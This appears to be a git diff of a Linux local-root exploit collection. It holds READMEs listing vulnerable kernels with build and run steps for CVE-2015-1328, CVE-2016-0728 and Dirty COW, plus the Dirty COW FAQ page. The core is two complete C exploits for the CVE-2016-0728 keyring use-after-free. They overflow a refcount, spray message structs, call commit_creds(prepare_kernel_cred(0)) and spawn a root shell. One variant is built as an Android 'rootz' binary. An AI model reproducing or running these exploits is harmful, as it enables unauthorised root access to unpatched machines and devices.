# CVE-2015-1328
|
||||
|
||||
CVE-2015-1328
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2015-1328](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1328)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/37292/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.13, 3.16.0, 3.19.0
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc ofs.c -o ofs
|
||||
$ ./ofs
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_64
|
||||
- Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_64
|
||||
- Ubuntu 14.04 - Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu x86_64
|
||||
|
||||
- Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_32
|
||||
- Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_32
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,26 @@
|
|||
# CVE-2016-0728
|
||||
|
||||
CVE-2016-0728
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2016-0728](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-0728)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc cve-2016-0728.c -o cve-2016-0728 -lkeyutils -Wall
|
||||
$ ./cve-2016-0728
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)](http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/)
|
||||
* [Linux内核漏洞CVE-2016-0728的分析与利用](http://bobao.360.cn/learning/detail/2576.html)
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,170 @@
|
|||
/*
|
||||
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
|
||||
# Date: 19/1/2016
|
||||
# Exploit Author: Perception Point Team
|
||||
# CVE : CVE-2016-0728
|
||||
*/
|
||||
|
||||
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
|
||||
/* $ ./cve_2016_072 PP_KEY */
|
||||
|
||||
/* EDB-Note: More information ~ http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <keyutils.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
#define STRUCT_LEN (0xb8 - 0x30)
|
||||
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
|
||||
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
|
||||
|
||||
|
||||
|
||||
struct key_type {
|
||||
char * name;
|
||||
size_t datalen;
|
||||
void * vet_description;
|
||||
void * preparse;
|
||||
void * free_preparse;
|
||||
void * instantiate;
|
||||
void * update;
|
||||
void * match_preparse;
|
||||
void * match_free;
|
||||
void * revoke;
|
||||
void * destroy;
|
||||
};
|
||||
|
||||
void userspace_revoke(void * key) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
const char *keyring_name;
|
||||
size_t i = 0;
|
||||
unsigned long int l = 0x100000000/2;
|
||||
key_serial_t serial = -1;
|
||||
pid_t pid = -1;
|
||||
struct key_type * my_key_type = NULL;
|
||||
|
||||
struct { long mtype;
|
||||
char mtext[STRUCT_LEN];
|
||||
} msg = {0x4141414141414141, {0}};
|
||||
int msqid;
|
||||
|
||||
if (argc != 2) {
|
||||
puts("usage: ./keys <key_name>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
|
||||
|
||||
my_key_type = malloc(sizeof(*my_key_type));
|
||||
|
||||
my_key_type->revoke = (void*)userspace_revoke;
|
||||
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
||||
|
||||
// key->uid
|
||||
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
|
||||
//key->perm
|
||||
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
|
||||
|
||||
//key->type
|
||||
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
|
||||
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
keyring_name = argv[1];
|
||||
|
||||
/* Set the new session keyring before we start */
|
||||
|
||||
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
|
||||
if (serial < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
puts("Increfing...");
|
||||
for (i = 1; i < 0xfffffffd; i++) {
|
||||
if (i == (0xffffffff - l)) {
|
||||
l = l/2;
|
||||
sleep(5);
|
||||
}
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
sleep(5);
|
||||
/* here we are going to leak the last references to overflow */
|
||||
for (i=0; i<5; ++i) {
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
puts("finished increfing");
|
||||
puts("forking...");
|
||||
/* allocate msg struct in the kernel rewriting the freed keyring object */
|
||||
for (i=0; i<64; i++) {
|
||||
pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
sleep(2);
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
for (i = 0; i < 64; i++) {
|
||||
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("msgsnd");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
sleep(-1);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
puts("finished forking");
|
||||
sleep(5);
|
||||
|
||||
/* call userspace_revoke from kernel */
|
||||
puts("caling revoke...");
|
||||
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
|
||||
perror("keyctl_revoke");
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := rootz.c
|
||||
|
||||
LOCAL_MODULE := rootz
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_LDFLAGS := -Wl,--hash-style=sysv
|
||||
|
||||
LOCAL_STATIC_LIBRARIES := libc
|
||||
|
||||
LOCAL_FORCE_STATIC_EXECUTABLE := true
|
||||
|
||||
include $(BUILD_STATIC_EXECUTABLE)
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(call all-makefiles-under,$(LOCAL_PATH))
|
|
@ -0,0 +1,88 @@
|
|||
/* keyutils.h: key utility library interface
|
||||
*
|
||||
* Copyright (C) 2005,2011 Red Hat, Inc. All Rights Reserved.
|
||||
* Written by David Howells (dhowells@redhat.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public License
|
||||
* as published by the Free Software Foundation; either version
|
||||
* 2 of the License, or (at your option) any later version.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/* key serial number */
|
||||
typedef int32_t key_serial_t;
|
||||
/* special process keyring shortcut IDs */
|
||||
#define KEY_SPEC_THREAD_KEYRING -1 /* - key ID for thread-specific keyring */
|
||||
#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
|
||||
#define KEY_SPEC_SESSION_KEYRING -3 /* - key ID for session-specific keyring */
|
||||
#define KEY_SPEC_USER_KEYRING -4 /* - key ID for UID-specific keyring */
|
||||
#define KEY_SPEC_USER_SESSION_KEYRING -5 /* - key ID for UID-session keyring */
|
||||
#define KEY_SPEC_GROUP_KEYRING -6 /* - key ID for GID-specific keyring */
|
||||
#define KEY_SPEC_REQKEY_AUTH_KEY -7 /* - key ID for assumed request_key auth key */
|
||||
/* request-key default keyrings */
|
||||
#define KEY_REQKEY_DEFL_NO_CHANGE -1
|
||||
#define KEY_REQKEY_DEFL_DEFAULT 0
|
||||
#define KEY_REQKEY_DEFL_THREAD_KEYRING 1
|
||||
#define KEY_REQKEY_DEFL_PROCESS_KEYRING 2
|
||||
#define KEY_REQKEY_DEFL_SESSION_KEYRING 3
|
||||
#define KEY_REQKEY_DEFL_USER_KEYRING 4
|
||||
#define KEY_REQKEY_DEFL_USER_SESSION_KEYRING 5
|
||||
#define KEY_REQKEY_DEFL_GROUP_KEYRING 6
|
||||
/* key handle permissions mask */
|
||||
typedef uint32_t key_perm_t;
|
||||
#define KEY_POS_VIEW 0x01000000 /* possessor can view a key's attributes */
|
||||
#define KEY_POS_READ 0x02000000 /* possessor can read key payload / view keyring */
|
||||
#define KEY_POS_WRITE 0x04000000 /* possessor can update key payload / add link to keyring */
|
||||
#define KEY_POS_SEARCH 0x08000000 /* possessor can find a key in search / search a keyring */
|
||||
#define KEY_POS_LINK 0x10000000 /* possessor can create a link to a key/keyring */
|
||||
#define KEY_POS_SETATTR 0x20000000 /* possessor can set key attributes */
|
||||
#define KEY_POS_ALL 0x3f000000
|
||||
#define KEY_USR_VIEW 0x00010000 /* user permissions... */
|
||||
#define KEY_USR_READ 0x00020000
|
||||
#define KEY_USR_WRITE 0x00040000
|
||||
#define KEY_USR_SEARCH 0x00080000
|
||||
#define KEY_USR_LINK 0x00100000
|
||||
#define KEY_USR_SETATTR 0x00200000
|
||||
#define KEY_USR_ALL 0x003f0000
|
||||
#define KEY_GRP_VIEW 0x00000100 /* group permissions... */
|
||||
#define KEY_GRP_READ 0x00000200
|
||||
#define KEY_GRP_WRITE 0x00000400
|
||||
#define KEY_GRP_SEARCH 0x00000800
|
||||
#define KEY_GRP_LINK 0x00001000
|
||||
#define KEY_GRP_SETATTR 0x00002000
|
||||
#define KEY_GRP_ALL 0x00003f00
|
||||
#define KEY_OTH_VIEW 0x00000001 /* third party permissions... */
|
||||
#define KEY_OTH_READ 0x00000002
|
||||
#define KEY_OTH_WRITE 0x00000004
|
||||
#define KEY_OTH_SEARCH 0x00000008
|
||||
#define KEY_OTH_LINK 0x00000010
|
||||
#define KEY_OTH_SETATTR 0x00000020
|
||||
#define KEY_OTH_ALL 0x0000003f
|
||||
/* keyctl commands */
|
||||
#define KEYCTL_GET_KEYRING_ID 0 /* ask for a keyring's ID */
|
||||
#define KEYCTL_JOIN_SESSION_KEYRING 1 /* join or start named session keyring */
|
||||
#define KEYCTL_UPDATE 2 /* update a key */
|
||||
#define KEYCTL_REVOKE 3 /* revoke a key */
|
||||
#define KEYCTL_CHOWN 4 /* set ownership of a key */
|
||||
#define KEYCTL_SETPERM 5 /* set perms on a key */
|
||||
#define KEYCTL_DESCRIBE 6 /* describe a key */
|
||||
#define KEYCTL_CLEAR 7 /* clear contents of a keyring */
|
||||
#define KEYCTL_LINK 8 /* link a key into a keyring */
|
||||
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
|
||||
#define KEYCTL_SEARCH 10 /* search for a key in a keyring */
|
||||
#define KEYCTL_READ 11 /* read a key or keyring's contents */
|
||||
#define KEYCTL_INSTANTIATE 12 /* instantiate a partially constructed key */
|
||||
#define KEYCTL_NEGATE 13 /* negate a partially constructed key */
|
||||
#define KEYCTL_SET_REQKEY_KEYRING 14 /* set default request-key keyring */
|
||||
#define KEYCTL_SET_TIMEOUT 15 /* set timeout on a key */
|
||||
#define KEYCTL_ASSUME_AUTHORITY 16 /* assume authority to instantiate key */
|
||||
#define KEYCTL_GET_SECURITY 17 /* get key security label */
|
||||
#define KEYCTL_SESSION_TO_PARENT 18 /* set my session keyring on my parent process */
|
||||
#define KEYCTL_REJECT 19 /* reject a partially constructed key */
|
||||
#define KEYCTL_INSTANTIATE_IOV 20 /* instantiate a partially constructed key */
|
||||
#define KEYCTL_INVALIDATE 21 /* invalidate a key */
|
||||
#define KEYCTL_GET_PERSISTENT 22 /* get a user's persistent keyring */
|
||||
|
|
@ -0,0 +1,173 @@
|
|||
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
|
||||
/* $ ./cve_2016_072 PP_KEY */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include "keyutils.h"
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
#define STRUCT_LEN (0xb8 - 0x30)
|
||||
|
||||
void *
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f = fopen("/proc/kallsyms", "r");
|
||||
char c, sym[512];
|
||||
void *addr;
|
||||
|
||||
while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
|
||||
if (!strcmp(sym, name))
|
||||
return addr;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
struct key_type {
|
||||
char * name;
|
||||
size_t datalen;
|
||||
void * vet_description;
|
||||
void * preparse;
|
||||
void * free_preparse;
|
||||
void * instantiate;
|
||||
void * update;
|
||||
void * match_preparse;
|
||||
void * match_free;
|
||||
void * revoke;
|
||||
void * destroy;
|
||||
};
|
||||
|
||||
void userspace_revoke(void * key) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
|
||||
const char *keyring_name;
|
||||
size_t i = 0;
|
||||
unsigned long int l = 0x100000000/2;
|
||||
key_serial_t serial = -1;
|
||||
pid_t pid = -1;
|
||||
struct key_type * my_key_type = NULL;
|
||||
|
||||
struct { long mtype;
|
||||
char mtext[STRUCT_LEN];
|
||||
} msg = {0x4141414141414141, {0}};
|
||||
int msqid;
|
||||
|
||||
if (argc != 2) {
|
||||
puts("usage: ./keys <key_name>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
|
||||
my_key_type = malloc(sizeof(*my_key_type));
|
||||
|
||||
my_key_type->revoke = (void*)userspace_revoke;
|
||||
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
||||
|
||||
// key->uid
|
||||
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
|
||||
//key->perm
|
||||
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
|
||||
|
||||
//key->type
|
||||
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
|
||||
|
||||
if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
keyring_name = argv[1];
|
||||
|
||||
/* Set the new session keyring before we start */
|
||||
|
||||
serial = syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
|
||||
if (serial < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
puts("Increfing...");
|
||||
for (i = 1; i < 0xfffffffd; i++) {
|
||||
if (i == (0xffffffff - l)) {
|
||||
l = l/2;
|
||||
sleep(5);
|
||||
}
|
||||
if (syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
sleep(5);
|
||||
/* here we are going to leak the last references to overflow */
|
||||
for (i=0; i<5; ++i) {
|
||||
if(syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
puts("finished increfing");
|
||||
puts("forking...");
|
||||
/* allocate msg struct in the kernel rewriting the freed keyring object */
|
||||
for (i=0; i<64; i++) {
|
||||
pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
sleep(2);
|
||||
if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
for (i = 0; i < 64; i++) {
|
||||
if (syscall(301, msqid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("msgsnd");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
sleep(-1);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
puts("finished forking");
|
||||
sleep(5);
|
||||
|
||||
/* call userspace_revoke from kernel */
|
||||
puts("caling revoke...");
|
||||
if (syscall(311, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
|
||||
perror("keyctl_revoke");
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
execl("/system/bin/sh", "/system/bin/sh", NULL);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
# CVE-2016-5195
|
||||
```
|
||||
Dirty COW
|
||||
|
||||
Hello
|
||||
|
||||
To add a new FAQ entry please send a PR for index.html.
|
||||
|
||||
If you wish to learn more, or share what you currently know of the vulnerability head on to the wiki (open to everyone): https://github.com/dirtycow/dirtycow.github.io/wiki
|
||||
|
||||
If you already know all you need to know, participate in the [challenges](https://github.com/dirtycow/dirtycow.github.io/projects) and win fame, glory and a t-shirt.
|
||||
|
||||
All code, images and documentation in this page and the website is in the public domain ([CC0](https://creativecommons.org/publicdomain/zero/1.0/)).
|
||||
|
||||
```
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2016-5195](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-5195)
|
||||
* [Table of PoCs](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
Linux kernel>2.6.22 (released in 2007)
|
||||
```
|
||||
|
||||
## Usage
|
||||
- [Explaining Dirty COW local root exploit - CVE-2016-5195](https://www.youtube.com/watch?v=kEsshExn7aE)
|
||||
|
||||
```
|
||||
$ gcc -pthread dirtyc0w.c -o dirtyc0w
|
||||
$ ./dirtyc0w foo m00000000000000000
|
||||
```
|
||||
|
||||
## References
|
||||
* [dirtycow](https://github.com/dirtycow/dirtycow.github.io)
|
||||
* [CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析](http://bobao.360.cn/learning/detail/3132.html)
|
||||
* [CVE-2016-5195 脏牛漏洞:Linux内核通杀提权漏洞](http://m.bobao.360.cn/learning/detail/3123.html)
|
||||
|
||||
|
||||
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,113 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<base target="_blank">
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<link rel="icon" href="favicon.ico" type="image/x-icon" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="description" content="Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel.">
|
||||
|
||||
<title>Dirty COW (CVE-2016-5195)</title>
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
|
||||
<style>body{padding-top:20px;padding-bottom:20px}.header,.marketing,.footer{padding-right:15px;padding-left:15px}.header{padding-bottom:20px;border-bottom:1px solid #e5e5e5}.header h3{margin-top:0;margin-bottom:0;line-height:40px}.footer{padding-top:19px;color:#777;border-top:1px solid #e5e5e5}@media (min-width:768px){.container{max-width:730px}}.container-narrow>hr{margin:30px 0}.jumbotron{text-align:center;border-bottom:1px solid #e5e5e5}.jumbotron .btn{padding:14px 24px;font-size:21px}.marketing{margin:40px 0}.marketing p+h4{margin-top:28px}@media screen and (min-width:768px){.header,.marketing,.footer{padding-right:0;padding-left:0}.header{margin-bottom:30px}.jumbotron{border-bottom:0}}</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="fb-root"></div>
|
||||
<script>(function(d, s, id) {var js, fjs = d.getElementsByTagName(s)[0];if (d.getElementById(id)) return;
|
||||
js = d.createElement(s); js.id = id;js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.8";
|
||||
fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script>
|
||||
<a href="https://github.com/dirtycow/dirtycow.github.io"><img style="position: absolute; top: 0; right: 0; border: 0;" src="https://camo.githubusercontent.com/652c5b9acfaddf3a9c326fa6bde407b87f7be0f4/68747470733a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f72696768745f6f72616e67655f6666373630302e706e67" alt="Fork me on GitHub" data-canonical-src="https://s3.amazonaws.com/github/ribbons/forkme_right_orange_ff7600.png"></a>
|
||||
<div class="container">
|
||||
<div class="header clearfix">
|
||||
<nav>
|
||||
<ul class="nav nav-pills pull-right">
|
||||
<li role="presentation" class="active"><a href="#" target="_self">Home</a></li>
|
||||
<li role="presentation"><a href="//twitter.com/DirtyCOWVuln">Twitter</a></li>
|
||||
<li role="presentation"><a href="//github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails">Wiki</a></li>
|
||||
<li role="presentation"><a href="//www.zazzle.com/collections/white_theme-119587962650451153">Shop</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
<h3 class="text-muted">CVE-2016-5195 <div class="fb-like" data-href="https://www.facebook.com/Dirty-COW-Vulnerability-1203812509677078/" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div></h3>
|
||||
</div>
|
||||
|
||||
<div class="jumbotron">
|
||||
<div title="This logo is on the public domain. Feel free to do whatever you want with it." style="background-image: url(cow.svg); background-repeat: no-repeat; background-position: 50% 50%; width: 100%; background-size: 1024px; height: 400px;"></div>
|
||||
<p class="lead">Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel</p>
|
||||
<p>
|
||||
<a class="btn btn-lg btn-success" href="https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs" role="button">View Exploit</a>
|
||||
<a class="btn btn-lg btn-default" href="//github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails" role="button">Details</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="row marketing">
|
||||
<div><h2>FAQ</h2></div>
|
||||
<div class="col-lg-6">
|
||||
<h4>What is the CVE-2016-5195?</h4>
|
||||
<p>CVE-2016-5195 is the official reference to this bug. CVE (Common Vulnerabilities and Exposures) is the Standard for Information Security Vulnerability Names maintained by MITRE.</p>
|
||||
|
||||
<h4>Why is it called the Dirty COW bug?</h4>
|
||||
<p>"<em>A <a href="https://en.wikipedia.org/wiki/Race_condition">race condition</a> was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.</em>" (<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#">RH</a>)</p>
|
||||
|
||||
<h4>What makes the Dirty COW bug unique?</h4>
|
||||
<p>In fact, all the boring normal bugs are _way_ more important, just because there's a lot more of them. I don't think some spectacular security hole should be glorified or cared about as being any more "special" than a random spectacular crash due to bad locking.</p>
|
||||
|
||||
<h4>Anyone sharing or have details about the "<a href="https://twitter.com/timstrazz/status/788966208754241536">in the wild exploit</a>"?</h4>
|
||||
<p>An exploit using this technique has been found in the wild from an HTTP packet capture according to <a href="http://www.v3.co.uk/v3-uk/news/2474845/linux-users-urged-to-protect-against-dirty-cow-security-flaw">Phil Oester</a>.</p>
|
||||
</div>
|
||||
|
||||
<div class="col-lg-6">
|
||||
<h4>How do I use this document?</h4>
|
||||
<p>This FAQ provides answers to some of the most frequently asked questions regarding the Dirty COW vulnerability. This is a living document and will be updated regularly at <a href="https://dirtycow.ninja">https://dirtycow.ninja</a>.</p>
|
||||
|
||||
<h4>Am I affected by the bug?</h4>
|
||||
<p><script>document.write(navigator.userAgent.match(/Linux|Android/)?'Yes':'Nope')</script>.</p>
|
||||
|
||||
<h4>Can my antivirus detect or block this attack?</h4>
|
||||
<p>Although the attack can happen in different layers, antivirus signatures that detect Dirty COW could be developed. Due to the attack complexity, differentiating between legitimate use and attack cannot be done easily, but the attack may be detected by comparing the size of the binary against the size of the original binary. This implies that antivirus can be programmed to detect the attack but not to block it unless binaries are blocked altogether.</p>
|
||||
|
||||
<h4>Is this an OpenSSL bug?</h4>
|
||||
<p><a href="https://media.giphy.com/media/jA4T01RxBv77W/giphy.gif">No</a>.</p>
|
||||
|
||||
<h4>Where can I find more information?</h4>
|
||||
<p><a href="https://access.redhat.com/security/cve/cve-2016-5195">Red Hat</a>. <a href="https://security-tracker.debian.org/tracker/CVE-2016-5195">Debian</a>. <a href="http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html">Ubuntu</a>. <a href="https://www.suse.com/security/cve/CVE-2016-5195.html">SUSE</a>.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row marketing">
|
||||
<div class="col-lg-6">
|
||||
<h4>How can Linux be fixed?</h4>
|
||||
<p>Even though the actual code fix may appear trivial, the Linux team is the expert in fixing it properly so the fixed version or newer should be used. If this is not possible software developers can recompile Linux with the <a href="https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619">fix</a> applied.</p>
|
||||
|
||||
<h4>How do I uninstall Linux?</h4>
|
||||
<p>Please follow <script>document.write('<a href="' + (!navigator.userAgent.match(/Android/)?'https://youtu.be/MZrdrfdAl44?t=14':'https://youtu.be/t_VdJJErdVs?t=62') + '">these</a>');</script> instructions.</p>
|
||||
|
||||
<h4>Can I detect if someone has exploited this against me?</h4>
|
||||
<p>Exploitation of this bug does not leave any trace of anything abnormal happening to the logs.</p>
|
||||
|
||||
<h4>Has this been <a href="https://youtu.be/hL9iYboM3MU">exploited</a> in the wild?</h4>
|
||||
<p><a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16">Maybe</a>. Maybe not. We don't know. Security community should deploy honeypots that entrap attackers and to alert about exploitation attempts.</p>
|
||||
|
||||
<h4>Who found the Dirty COW vulnerability?</h4>
|
||||
<p><a href="https://access.redhat.com/security/cve/CVE-2016-5195">Phil Oester</a></p>
|
||||
</div>
|
||||
|
||||
<div class="col-lg-6">
|
||||
<h4>What's with the stupid (logo|website|<a href="//twitter.com/DirtyCowVuln">twitter</a>|github account)?</h4>
|
||||
<p>It would have been fantastic to eschew this ridiculousness, because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand. So we created a website, an online shop, a twitter account, and used a logo that a professional designer created.</p>
|
||||
|
||||
<h4>What can be done to prevent this from happening in future?</h4>
|
||||
